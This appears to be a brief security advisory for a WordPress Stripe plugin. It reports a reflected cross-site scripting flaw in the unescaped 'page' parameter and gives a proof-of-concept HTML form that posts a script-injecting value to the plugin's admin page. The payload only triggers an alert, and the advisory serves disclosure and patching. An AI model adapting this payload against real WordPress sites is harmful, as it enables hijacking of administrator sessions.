The plugin did not sanitise or escape the page parameter before outputting back in an attribute, leading to a reflected Cross-Site Scripting issue
<html>
<body>
<form action="https://example.com/wp-admin/admin.php?page=eh-stripe-overview" method="POST">
<input type="hidden" name="page" value='"><script>alert(/XSS/)</script>"' />
<input type="submit" value="Submit request" />
</form>
</body>
</html>